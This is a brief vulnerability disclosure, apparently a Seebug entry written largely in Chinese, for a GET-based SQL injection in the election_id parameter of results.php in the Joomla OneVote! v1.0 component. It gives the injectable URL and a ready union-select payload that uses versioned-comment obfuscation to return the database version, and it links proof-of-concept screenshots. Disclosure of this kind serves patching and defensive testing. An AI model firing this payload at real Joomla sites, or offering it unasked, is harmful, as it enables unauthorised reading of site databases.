Joomla! Component OneVote! v1.0 - SQL Injection
results.php中的election_id参数带入SQL语句存在GET类型注入
注入点:
http://localhost/[PATH]/components/com_onevote/results.php?election_id=[SQL]
union注入 payload:
+/*!50000union*/+select+@@version-- -
测试截图:
![](https://images.seebug.org/contribute/35baee17-81b9-40ea-8616-be6a85ea4bd7)
其他类型的注入:
![](https://images.seebug.org/contribute/40a5f161-6780-46af-ac89-4247a0ede111)
PoC验证:
![](https://images.seebug.org/contribute/a7dad2ec-ea45-4ae6-89b0-0aa862a26d1d)
暂无评论